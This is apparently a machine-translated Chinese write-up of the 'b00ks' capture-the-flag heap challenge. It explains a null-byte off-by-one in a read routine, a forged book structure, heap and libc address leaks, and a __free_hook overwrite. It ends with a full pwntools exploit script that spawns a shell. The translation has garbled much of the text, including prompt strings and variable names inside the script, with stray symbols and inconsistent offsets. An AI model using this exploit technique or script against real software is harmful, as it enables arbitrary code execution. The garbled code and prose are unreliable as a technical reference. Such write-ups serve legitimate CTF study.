当前位置: 首页 > Linux

逐一学习

时间:2023-04-06 11:14:28 Linux

话题介绍话题是一个常见的菜单程序,其功能是图书馆管理系统。1.创建一本书2。删除一本书3。编辑一本书4。打印书籍详细信息5。更改当前作者姓名6。Exit主题提供创建、删除、编辑和打印书籍的功能。题为64位程序,保护如下Canary:NoNX:YesPIE:YesFortify:NoRelRO:Full程序每次创建一本书,都会分配一个0x20字节的结构体来维护其信息structbook{intID;字符*名称;字符*描述;intsize;}createbook结构中有name和description,name和description分配在堆上。首先使用malloc分配名称缓冲区。尺寸自定义但小于32.printf("\nEnterbooknamesize:",*(_QWORD*)&size);__isoc99_scanf("%d",&size);printf("Enterbookname(Max32chars):",&size);ptr=malloc(size);然后分配描述,相同的尺寸可以定制但不限。printf("\nEnterbookdescriptionsize:",*(_QWORD*)&size);__isoc99_scanf("%d",&size);v5=malloc(size);然后分配book结构的内存book=malloc(0x20uLL);if(book){*((_DWORD*)book+6)=size;*((_QWORD*)off_202010+v2)=书;*((_QWORD*)book+2)=描述;*((_QWORD*)book+1)=姓名;*(_DWORD*)book=++unk_202024;return0LL;}漏洞程序编写的read函数存在空字节差一漏洞。仔细观察这个read函数可以看出boundary的考虑不当的。signed__int64__fastcallmy_read(_BYTE*ptr,intnumber){inti;//[rsp+14h][rbp-Ch]_BYTE*buf;//[rsp+18h][rbp-8h]if(number<=0)return0LL;缓冲区=指针;for(i=0;;++i){if((unsignedint)read(0,buf,1uLL)!=1)return1LL;如果(*buf=='\n')中断;++缓冲区;如果(我==数字)中断;}*buf=0;--》漏洞定位return0LL;}用于创建两个b00k,在第一个b00k中伪造b00k,然后控制第二个b00k的描述指针,将指针改为__free_hook,修改第二个b00k的描述为execve("/bin/sh"),最后freeleaking是因为程序中的my_read函数中有一个nullbyteoff-by-one,实际上my_read读入了终止符'x00',写入到0x555555756060的位置。这样,当0x555555756060~0x555555756068写入书本指针,终止符'x00'会被覆盖,所以这里存在地址泄露漏洞,通过打印作者姓名,可以得到指针数组第一项的值。books位置0x55865b7c9040:0x41414141414141410x41414141414141410x55865b7c9050:0x41414141414141410x4141414141414141-->authorb00ks<--0x55865b7c9060:0x000055865cc0d160(firstbook)0x0000000000000000nullbyteoverflow0x55865b7c9040:0x41414141414141410x41414141414141410x55865b7c9050:0x41414141414141410x41414141414141410x55865b7c9060:0x000055865cc0d100(0x60-->0x00)0x000055865cc0d1901.创建第一个firestbook0x55f276c74160:0x00000000000000010x000055f276c74020-->Name0x55f276c74170:0x000055f276c740c0(description)0x000000000000008c(140)当0x55f276c74160-->0x55f276c74100时,0x55f276c74100正好落在firstb00k的description中,属于可控范围,为我们伪造b00k打下了基础.2.leakTheendcharacter'x00'readbybook1addrmy_readwillbeoverwrittenwhenwritingbook1,sowhenprintingauthorname,itwillleaktheaddressofbook1inbuf.)functiontoallocateheapspace,andtheheapaddressisrelatedtothebaseaddressoflibc,sothebaseaddressoflibccanbecalculatedbyleakingtheheapaddress.4.伪造book0x55f276c740c0:0x41414141414141410x41414141414141410x55f276c740d0:0x41414141414141410x41414141414141410x55f276c740e0:0x41414141414141410x41414141414141410x55f276c740f0:0x41414141414141410x41414141414141410x55f276c74100:0x00000000000000010x000055f276c74198----0x55f276c74110:0x000055f276c741980x000000000000ffff|......|0x55f276c74160:0x00000000000000010x000055f276c74020|0x55f276c74170:0x000055f276c740c00x000000000000008c|0x55f276c74180:0x00000000000000000x0000000000000031|0x55f276c74190:0x00000000000000020x00007f282b8e7010<-|0x55f276c741a0:0x00007f282b8c50100x00000000000210000x55f276c741b0:0x00000000000000000x0000000000020e51可以看到0x55f276c74100已经是fakeb00k15.空字节覆盖leakbook2namepointer&libcbase0x55f275d55040:0x41414141414141410x41414141414141410x55f275d55050:0x41414141414141410x41414141414141410x55f275d55060:0x000055f276c741000x000055f276c74190泄露的是secondb00k的namepointer和descriptionpointer.这个指针和libcbaseaddress是有直接联系的.0x000055f276c730000x000055f276c95000rw-p[heap]0x00007f282b33e0000x00007f282b4fe000r-xp/lib/x86_64-linux-gnu/libc-2.23.so0x00007f282b4fe0000x00007f282b6fe000---p/lib/x86_64-linux-gnu/libc-2.23.sooffset=0x7f282b8e7010-0x00007f282b33e000=0x5a9010结论:通过伪造的b00k,我们泄露了libcbaseaddress.**6.获取Therelevantpointersaremainlytwomalloc_hook=libc.symbols['__free_hook']+libcbaseexecve_addr=libcbase+0x4526aConclusion:Throughthelibcbaseaddress,theactualpositionof__free_hookandexecve_addrintheprogramisexited.7.Modifythegetshellthroughfirstb00k修改secondb00k的description指针为__free_hook,在修改secondb00k的description内容为execve("/bin/sh",null,environ),最后执行free0x55f276c74190:0x00000000000000020x00007f282b7047a8--0x55f276c741a0:0x00007f282b7047a80x0000000000021000|......|0x7f282b7047a8<__free_hook>:0x00007f306ff4726a0x0000000000000000结论:由于__free_hook中的内容不为NULL,所以执行内容指向的指令,即execve("/bin/sh",null,environ)相关问题为什么第二个b00kapplication这么多空间?如果我们分配一个比wildernesschunk更大的chunk,它mmap就是一个新的区域供使用。而且这个区域是和libc的bss段相邻的简单的说,如果应用太小,不能泄露libc基地址expfrompwnimport*#context.log_level='debug'elf=ELF("./b00ks")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")p=process("./b00ks")defcreate_name(name):p.sendlineafter("Enterauthorname:",name)defcreate_book(size,name,des_size,des):p.sendlineafter(">","1")p.sendlineafter("\n输入书名尺寸:",str(size))p.sendlineafter("输入书名(Max32个字符):",name)p.sendlineafter("\nEnterbookdescriptionsize:",str(des_size))p.sendlineafter("输入图书描述:",des)defdelete_book(id):p.sendlineafter(">","2")p.sendlineafter("输入图书ok你要删除的id:",str(id))defedit_book(id,new_des):p.sendlineafter(">","3")p.sendlineafter("请输入你要编辑的书id:",str(id))p.sendlineafter("Enternewbookdescription:",new_des)defmemleak2():p.sendlineafter(">","4")p.recvuntil("名称:")msg??=p.recvline().strip("\n")msg??=u64(msg.ljust(8,"\x00"))log.success("第二本书名指针的泄露地址:"+hex(msg))returnmsgdefchange_name(name):p.sendlineafter(">","5")p.sendlineafter("Enterauthorname:",name)defmemleak1():p.recvuntil(">")p.sendline("4")p.recvuntil("Author:")msg??=p.recvuntil("\n",drop=True)[33:]log.success("msg:"+msg)addr=u64(msg.ljust(8,"\x00"))log.success("第一本书的泄露地址:"+hex(addr))returnaddrcreate_name("a"*32)create_book(140,"a",140,??"a")#leakbookaddrfirst_addr=memleak1()second_addr=first_addr+0x38log.success("第二个地址:"+hex(second_addr))#createsecondbookcreate_book(0x21000,"a",0x21000,"a")#fakefirstbookpayload="a"*0x40+p64(1)+p64(second_addr)*2+p64(0xffff)edit_book(1,payload)#nullbyteoff-by-onechange_name("a"*32)#leaksecondbookpointersec_name_addr=memleak2()libcbase=sec_name_addr-0x5b0010log.info("libcbase:%s"%hex(libcbase))free_hook=libc.symbols['__free_hook']+libcbaselog.success("free_hook:"+hex(free_hook))execve_addr=libcbase+0x45216log.success("execve:"+hex(execve_addr))#gdb.attach(p)#getshellsystem=libc.symbols['system']+libcbasebinsh_addr=libc.search('/bin/sh').next()+libcbasepayload=p64(binsh_addr)+p64(free_hook)edit_book(1,payload)有效负载=p64(system)edit_book(2,payload)'''edit_book(1,p64(free_hook)*2)edit_book(2,p64(execve_addr))'''delete_book(2)p.interactive()